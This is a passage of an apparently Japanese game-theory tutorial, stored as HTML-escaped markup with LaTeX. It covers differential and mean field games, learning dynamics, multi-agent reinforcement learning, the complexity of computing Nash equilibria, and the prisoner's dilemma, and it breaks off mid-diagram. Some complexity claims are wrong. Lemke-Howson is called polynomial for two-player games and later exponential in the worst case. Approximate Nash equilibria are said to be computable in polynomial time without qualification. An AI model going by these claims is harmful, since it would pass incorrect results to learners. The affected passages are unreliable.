&lt;div&gt;&lt;span&gt;を対象とする微分ゲームでは、ハミルトン–ヤコビ–ベルマン–アイザック（HJBI）方程式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial V}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial t} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sup_&lt;/span&gt;&lt;span&gt;{u_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;inf_&lt;/span&gt;&lt;span&gt;{u_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left\{ &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla_x V^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;top f(x,u_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,u_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ell(x,u_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,u_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を解くことで値関数 $&lt;/span&gt;&lt;span&gt;V$&lt;/span&gt;&lt;span&gt; が得られる。プレイヤー数が膨大な場合は平均場ゲーム（Mean Field Game, MFG）近似を用い、状態密度 $&lt;/span&gt;&lt;span&gt;m(t,x)$&lt;/span&gt;&lt;span&gt; と価値関数 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;phi(t,x)$&lt;/span&gt;&lt;span&gt; が連立する&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{cases}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;displaystyle -&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial_t &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;phi - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Delta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;phi + H&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigl(x, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;phi&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigr) = F(x, m) \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;displaystyle &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial_t m - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Delta m - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left( m \, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial_p H&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigl(x, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;phi&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigr) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right) = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{cases}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を数値的に解く。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 学習ダイナミクスと平衡選択&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;実際の意思決定主体は学習を通じて戦略を更新する。代表例：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**フィクティシャスプレイ**&lt;/span&gt;&lt;span&gt;：過去の頻度分布を信じて最適反応&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**勾配ベース学習（Policy Gradient, Mirror Descent）**&lt;/span&gt;&lt;span&gt;：パラメータ $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta$&lt;/span&gt;&lt;span&gt; を $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta^{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta^t + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;eta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta u_i$&lt;/span&gt;&lt;span&gt; で更新&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**レプリケータ動学**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;dot&lt;/span&gt;&lt;span&gt;{p}_i = p_i (u_i - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bar&lt;/span&gt;&lt;span&gt;{u})$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これらの動学が収束する平衡は進化的に安定な戦略（ESS）やリスク支配均衡になることが多い。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 強化学習とゲーム理論の融合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;マルチエージェント強化学習では、各エージェント $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; がQ学習&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Q_i^{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}(s_i, a_i) = (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha) Q_i^t(s_i, a_i) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[ r_i + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{a_i'} Q_i^t(s_i', a_i') &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を独立に実行する。ナッシュQ学習では、ナッシュ均衡を直接学習するため&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Q_i^{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}(s, a) = (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha) Q_i^t(s, a) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[ r_i + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{NE}_i(Q_{-i}^t(s')) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を更新する。ここで $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{NE}_i(Q_{-i})$&lt;/span&gt;&lt;span&gt; は他のエージェントのQ関数を所与としたナッシュ均衡におけるエージェント $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; の期待利得である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;Actor-Critic法では、方策 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta$&lt;/span&gt;&lt;span&gt; と価値関数 $&lt;/span&gt;&lt;span&gt;V_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;phi$&lt;/span&gt;&lt;span&gt; を同時に学習し、方策勾配定理&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta J(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sim &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[ &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{t=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}^T &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;log &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta(a_t|s_t) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;hat&lt;/span&gt;&lt;span&gt;{A}_t &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;に基づいて更新する。$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;hat&lt;/span&gt;&lt;span&gt;{A}_t = r_t + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma V_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;phi(s_{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}) - V_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;phi(s_t)$&lt;/span&gt;&lt;span&gt; はアドバンテージ推定値である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ナッシュ均衡の計算複雑性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;有限ゲームのナッシュ均衡を求める問題は PPAD完全であることが知られている。Lemke-Howsonアルゴリズムは2人ゲームに対して多項式時間で動作するが、3人以上では指数時間を要する可能性がある。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;Support Enumeration法は、混合戦略のサポート（正の確率を持つ純粋戦略の集合）を列挙し、各サポートについて線形計画問題を解く。最悪ケースでは $&lt;/span&gt;&lt;span&gt;O(&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;^{|S|})$&lt;/span&gt;&lt;span&gt; の計算量となる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;近似ナッシュ均衡（$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon$&lt;/span&gt;&lt;span&gt;-Nash equilibrium）は、各プレイヤーが $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon$&lt;/span&gt;&lt;span&gt; 以上の利得改善ができない戦略の組であり、多項式時間で求めることができる。$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon = O(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{n})$&lt;/span&gt;&lt;span&gt; の精度で、$&lt;/span&gt;&lt;span&gt;n$&lt;/span&gt;&lt;span&gt; プレイヤーゲームに対して多項式時間アルゴリズムが存在する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### Lemke-Howsonアルゴリズムの詳細&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2人ゲーム $&lt;/span&gt;&lt;span&gt;(A, B)$&lt;/span&gt;&lt;span&gt; に対して、Lemke-Howsonアルゴリズムは補完性問題（Complementarity Problem）として定式化する。プレイヤー1の混合戦略 $&lt;/span&gt;&lt;span&gt;x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Delta_m$&lt;/span&gt;&lt;span&gt;、プレイヤー2の混合戦略 $&lt;/span&gt;&lt;span&gt;y &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Delta_n$&lt;/span&gt;&lt;span&gt; について、スラック変数 $&lt;/span&gt;&lt;span&gt;r, s$&lt;/span&gt;&lt;span&gt; を導入し、&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{cases}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Ay + r = v &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbf&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}_m \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;B^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;top x + s = u &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbf&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}_n \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;x^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;top r = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad y^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;top s = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;x, y, r, s &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{cases}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を満たす解を求める。ここで $&lt;/span&gt;&lt;span&gt;u, v$&lt;/span&gt;&lt;span&gt; は各プレイヤーの均衡利得である。アルゴリズムは、ラベル付けされた単体上をピボット操作で移動し、完全ラベル（すべてのラベルが使用される）を持つ頂点に到達するまで反復する。計算量は最悪ケースで指数時間だが、平均的には多項式時間で動作する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### Support Enumeration法の計算量解析&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;n$&lt;/span&gt;&lt;span&gt; プレイヤー、各 $&lt;/span&gt;&lt;span&gt;m$&lt;/span&gt;&lt;span&gt; 戦略のゲームにおいて、プレイヤー $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; のサポートサイズを $&lt;/span&gt;&lt;span&gt;k_i$&lt;/span&gt;&lt;span&gt; とすると、可能なサポートの組み合わせは $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;prod_&lt;/span&gt;&lt;span&gt;{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^n &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;binom&lt;/span&gt;&lt;span&gt;{m}{k_i}$&lt;/span&gt;&lt;span&gt; 通りある。各サポートについて、線形計画問題&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{x_i, v_i} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &amp;amp; v_i \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{s.t.} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &amp;amp; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{s_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{supp}(x_i)} x_i(s_i) u_i(s_i, s_{-i}) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge v_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall s_{-i} \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{s_i} x_i(s_i) = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad x_i(s_i) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を解く必要がある。最悪ケースでは全サポートを列挙するため $&lt;/span&gt;&lt;span&gt;O(&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;^{nm})$&lt;/span&gt;&lt;span&gt; の計算量となるが、支配戦略の除去や対称性の利用により効率化できる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;【囚人のジレンマ】（ゲーム理論の有名な例）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;囚人のジレンマは、典型的な非協力型ゲームであり、次のような状況で説明される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 2人の容疑者が逮捕され、別々に取り調べを受ける。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; それぞれが「協力（黙秘）」または「裏切り（自白）」のいずれかを選択できる。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ここで、2人とも黙秘すれば軽い刑、片方だけ自白すれば自白した方だけが無罪、両方自白すれば両者中程度の刑というような利得（ペイオフ）が設定されている。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この状況は利得表（ペイオフマトリクス）によってまとめることができ、問題の本質は「自分に有利な選択（裏切り）をすると双方損をする場合がある」ことにある。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 利得表（ペイオフマトリクス）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;| 自分 \ 相手 | 相手:協力 | 相手:裏切り |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;|-----|-----------|-------------|&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 自分:協力 | －1, －1   | －10, 0      |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 自分:裏切り | 0, －10    | －5, －5     |&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 上記表は（自分, 相手）の順に利得（例：刑期など、値が小さいほど損）を示す。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 両者が合理的に自分の利益を最大にしようとすると、最終的には両者とも「裏切り」を選び、結果的にお互いにとって本来よりも悪い結果（中程度の刑）になることが示される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 利得構造の可視化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図10: 囚人のジレンマの利得構造**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "利得の比較"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[プレイヤー1: 協力] --&amp;gt; B{プレイヤー2の選択}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C[プレイヤー1: 裏切り] --&amp;gt; D{プレイヤー2の選択}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt;|協力| E[利得: -1,-1&amp;lt;br/&amp;gt;両者協力&amp;lt;br/&amp;gt;R = -1]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt;|裏切り| F[利得: -10,0&amp;lt;br/&amp;gt;プレイヤー1が損&amp;lt;br/&amp;gt;S = -10]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt;|協力| G[利得: 0,-10&amp;lt;br/&amp;gt;プレイヤー2が損&amp;lt;br/&amp;gt;T = 0]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt;|裏切り| H[利得: -5,-5&amp;lt;br/&amp;gt;両者裏切り&amp;lt;br/&amp;gt;P = -5&amp;lt;br/&amp;gt;ナッシュ均衡]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "利得の順序"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I[利得構造&amp;lt;br/&amp;gt;T&amp;gt;R&amp;gt;P&amp;gt;S&amp;lt;br/&amp;gt;T=0 R=-1 P=-5 S=-10] --&amp;gt; J[裏切りの誘惑&amp;lt;br/&amp;gt;T&amp;gt;R 相手が協力なら&amp;lt;br/&amp;gt;裏切る方が得]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; K[協力の相互利益&amp;lt;br/&amp;gt;R&amp;gt;P 両者協力の方が&amp;lt;br/&amp;gt;両者裏切りより良い]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; L[支配戦略&amp;lt;br/&amp;gt;T&amp;gt;R かつ P&amp;gt;S&amp;lt;br/&amp;gt;常に裏切りが最適]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "ジレンマの本質"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        M[個人合理性&amp;lt;br/&amp;gt;Individual Rationality] --&amp;gt; N[両者とも裏切り&amp;lt;br/&amp;gt;D,D = -5,-5]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        O[社会的効率性&amp;lt;br/&amp;gt;Social Efficiency] --&amp;gt; P[両者協力&amp;lt;br/&amp;gt;C,C = -1,-1]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        N --&amp;gt; Q[ジレンマ&amp;lt;br/&amp;gt;個人合理性と&amp;lt;br/&amp;gt;社会的効率性の矛盾]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        P --&amp;gt; Q&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図11: 囚人のジレンマの構造**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
